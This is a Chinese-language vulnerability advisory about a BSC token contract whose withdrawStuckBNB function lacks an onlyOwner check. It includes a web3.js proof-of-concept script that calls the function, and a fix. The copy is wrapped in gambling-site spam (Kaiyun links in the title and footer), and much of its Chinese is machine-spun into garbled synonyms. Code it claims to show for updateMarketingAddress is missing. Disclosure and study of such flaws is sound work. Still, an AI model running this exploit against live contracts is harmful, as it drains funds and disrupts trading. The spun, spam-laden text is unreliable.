开云kaiyun.comonlyOwner 是该合约自界说一个修饰器-Kaiyun体育app官网入口

1、布景态状开云kaiyun.com
合约是一个在知足特定条款时在区块链上履行代码的递次,各方以数字签署公约的面目准许并保养它的其运行。这些代码不错是向一又友汇款、交易 NFT 编造商品等一系列复杂的内容。
存在纰谬的琢磨合约是一个纠合 Meme 文化病毒式传播与去中心化金融(DeFi)的翻新型样,旨在通过意旨性和实用性冲破传统 Meme 代币的格局。
该合约的代币现在市值 1400K(USDT),日均交游量 150K(USDT)
2、问题态状
该合约" withdrawStuckBNB "函数莫得添加权限截止,挫折者不错通过调用" withdrawStuckBNB "函数,将合约内系数 BNB 转至营销地址" marketingAddress ",从而导致合约交游十分。
tips:
BNB 是 BNB 链生态系统的原生代币,该系统包含 BNB 智能链(BSC)和 BNB 信标链。在 BNB 智能链上,BNB 用于支付交游用度和参与网罗的共鸣机制。BNB 还被用作实用代币,使用户在 Binance 中心化加密货币交游所进行交游时得到交游用度的扣头。
BNB 在这个合约中的作用包括:当作交游对的配对货币,用于支付交游手续费,流动性池的构成部分,以及手续费收入的分拨引子
3、问题代码分析

```solidity
function withdrawStuckBNB ( ) external {
bool success;
( success, ) = address ( marketingAddress ) .call{value: address ( this ) .balance} ( "" ) ;
}
```
在合约代码里面不错看到,`withdrawStuckBNB` 莫得添加 onlyOwner 修饰,惟一 external 修饰
tips:
Solidity 语法中有 4 中默许函数修饰符
- public:最大走访权限,任何东说念主齐不错调用。
- private:惟一合约里面不错调用,弗成以被给与。
- internal:子合约不错给与和调用。
- external:外部不错调用,子合约不错给与和调用,刻下合约弗成以调用。
onlyOwner 是该合约自界说一个修饰器,用于修饰函数,惟一合约的系数者材干调用该函数。

这就意味着任何东说念主齐不错调用这个函数,将合约内系数 BNB 转至营销地址,导致资金被盗。
4、后续诈欺链分析
从问题代码可知,任何东说念主齐不错调用这个函数,将合约内系数 BNB 转至营销地址 marketingAddress
检察 marketingAddress 的代码,marketingAddress 是一个营销地址,更新 marketingAddress 的代码如下:

不错看到,updateMarketingAddress 函数存在 onlyOwner 修饰,惟一 owner 不错调用这个函数,这就意味着惟一 owner 不错更新 marketingAddress 的地址。是以诈欺链到此截止,挫折者只可调用 withdrawStuckBNB 将合约内的 BNB 转至 marketingAddress,然而 marketingAddress 自身只可由 owner 更新,是以挫折者无法更新 marketingAddress 的地址,从而无法将 BNB 转至挫折者的地址,然而纰谬也能形成合约内 BNB 的清空,影响合约运行。
5、构造 POC
```javascriptconst Web3 = require ( 'web3' ) ;// // 启动化 Web3 实例,这里使用测试网的地址,你不错字据实际情况修改 const web3 = new Web3 ( 'https://seed-prebsc-1-s1.binance.org:8545' ) ;// const web3 = new Web3 ( 'https://bsc-dataseed4.binance.org/' ) ;
const contractABI = [ """ 换成完好 ABI""" ] ;const contractAddress = "0xaaaaa"; // 替换为琢磨合约地址 const contract = new web3.eth.Contract ( contractABI, contractAddress ) ;console.log ( "connect success" ) ;
// 要是使用 Node.js,需要添加私钥 const privateKey = '0xbbbbbbbbbbbbbb'; // 替换为你的私钥 const account = web3.eth.accounts.privateKeyToAccount ( privateKey ) ;web3.eth.accounts.wallet.add ( account ) ;
async function withdrawBNB ( ) { try{ console.log ( account.address ) ; const tx = { from: account.address, // 必须使用真确地址 to: contractAddress, gas: 300000, data: contract.methods.withdrawStuckBNB ( ) .encodeABI ( ) };
// 估算 gas const gas = await web3.eth.estimateGas ( tx ) ; tx.gas = gas;
// 获取刻下 gasPrice const gasPrice = await web3.eth.getGasPrice ( ) ; tx.gasPrice = gasPrice;
// 签名并发送交游(Node.js 面目) const signedTx = await web3.eth.accounts.signTransaction ( tx, privateKey ) ; const receipt = await web3.eth.sendSignedTransaction ( signedTx.rawTransaction ) ;
console.log ( 'Transaction Hash:', receipt.transactionHash ) ; console.log ( 'Receipt:', receipt ) ; } catch ( error ) { console.error ( "Error:", error ) ; } console.log ( "2" ) ;}
withdrawBNB ( ) ;console.log ( "3" ) ;```
6、成就决策
在 withdrawStuckBNB 函数中添加 onlyOwner 修饰,只允许 owner 不错调用这个函数
```solidity
function withdrawStuckBNB ( )
external onlyOwner
{
( bool success, )
= marketingAddress.call{value: address ( this ) .balance} ( "" ) ;
require ( success,
"Transfer failed" ) ;
}```
该纰谬现在已向关连单元和厂商报送并已推出补丁,使用此纰谬形成的任何挫折影响均与本文作家无关。
原文相接开云kaiyun.com
